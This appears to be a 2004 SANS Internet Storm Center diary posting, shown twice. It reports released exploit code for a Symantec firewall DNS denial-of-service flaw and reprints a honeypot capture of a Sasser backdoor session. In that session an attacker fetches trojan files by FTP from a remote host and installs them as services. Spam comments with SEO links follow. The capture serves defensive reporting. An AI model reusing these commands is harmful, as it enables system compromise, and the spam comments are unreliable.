Symantec DOS Exploit Code, Sasser Backdoor Exploit Capture, Reading Material
Exploit code for Symantec Multiple Firewall DNS Response DOS Released
Code exploiting the recently published vulnerability ( http://www.eeye.com/html/Research/Advisories/AD20040512B.html ) in some of Symantec's security products (Norton Internet Security, Norton Personal Firewall, and Norton Anti-Spam) has been posted on Bugtraq. This vulnerability does not provide a remote shell, but is a Denial-of-Service attack.
Again, if you run these products, please update them using Live Update. We predict that it's only a matter of time before we see a "Witty"-like worm in the wild.
Sasser Backdoor Exploit Honeypot Capture
LURHQ's Joe Stewart has provided the following capture of the Sasser Backdoor Exploit. This capture was of an interactive session, not an automated tool.
<snipped exploit hexdump>
mandragore bsh shellcode detected
Bind port is 9875
Binding shell on port 9875
Connection on 9875 from 80.61.65.20
C:\WINNT\system32>echo open LC0311-A.STUDENT.TCU.EDU 6789 > id
C:\WINNT\system32>echo user root root >> id
C:\WINNT\system32>echo bin >> id
C:\WINNT\system32>echo get service.exe >> id
C:\WINNT\system32>echo get mss32.dll >> id
C:\WINNT\system32>echo get sub0t.dll >> id
C:\WINNT\system32>echo get SUB0T.ini >> id
C:\WINNT\system32>echo get mshelp.exe >> id
C:\WINNT\system32>echo bye >> id
C:\WINNT\system32>ftp.exe -i -n -s:id
C:\WINNT\system32>erase id
C:\WINNT\system32>mshelp.exe
C:\WINNT\system32>service.exe /i
C:\WINNT\system32>net start mshelp
C:\WINNT\system32>net start secman
C:\WINNT\system32>dir
Connection closed by peer
Selected Reading Material
For your quiet Saturday reading, posted May 2, 2004 to the SANS Reading Room, "A Security Checklist for Web Application Design," by Gail Zemanek Bayse.
http://www.sans.org/rr/papers/index.php?id=1389
----------------------------------------------------------
Handler-on-Duty: Dave Brookshire ( dsb_AT_rlx.com )
Code exploiting the recently published vulnerability ( http://www.eeye.com/html/Research/Advisories/AD20040512B.html ) in some of Symantec's security products (Norton Internet Security, Norton Personal Firewall, and Norton Anti-Spam) has been posted on Bugtraq. This vulnerability does not provide a remote shell, but is a Denial-of-Service attack.
Again, if you run these products, please update them using Live Update. We predict that it's only a matter of time before we see a "Witty"-like worm in the wild.
Sasser Backdoor Exploit Honeypot Capture
LURHQ's Joe Stewart has provided the following capture of the Sasser Backdoor Exploit. This capture was of an interactive session, not an automated tool.
<snipped exploit hexdump>
mandragore bsh shellcode detected
Bind port is 9875
Binding shell on port 9875
Connection on 9875 from 80.61.65.20
C:\WINNT\system32>echo open LC0311-A.STUDENT.TCU.EDU 6789 > id
C:\WINNT\system32>echo user root root >> id
C:\WINNT\system32>echo bin >> id
C:\WINNT\system32>echo get service.exe >> id
C:\WINNT\system32>echo get mss32.dll >> id
C:\WINNT\system32>echo get sub0t.dll >> id
C:\WINNT\system32>echo get SUB0T.ini >> id
C:\WINNT\system32>echo get mshelp.exe >> id
C:\WINNT\system32>echo bye >> id
C:\WINNT\system32>ftp.exe -i -n -s:id
C:\WINNT\system32>erase id
C:\WINNT\system32>mshelp.exe
C:\WINNT\system32>service.exe /i
C:\WINNT\system32>net start mshelp
C:\WINNT\system32>net start secman
C:\WINNT\system32>dir
Connection closed by peer
Selected Reading Material
For your quiet Saturday reading, posted May 2, 2004 to the SANS Reading Room, "A Security Checklist for Web Application Design," by Gail Zemanek Bayse.
http://www.sans.org/rr/papers/index.php?id=1389
----------------------------------------------------------
Handler-on-Duty: Dave Brookshire ( dsb_AT_rlx.com )
Keywords:
0 comment(s)
×
Diary Archives
Comments
Anonymous
Dec 3rd 2022
10 months ago
Anonymous
Dec 3rd 2022
10 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
https://defineprogramming.com/
Dec 26th 2022
9 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
9 months ago
rthrth
Jan 2nd 2023
9 months ago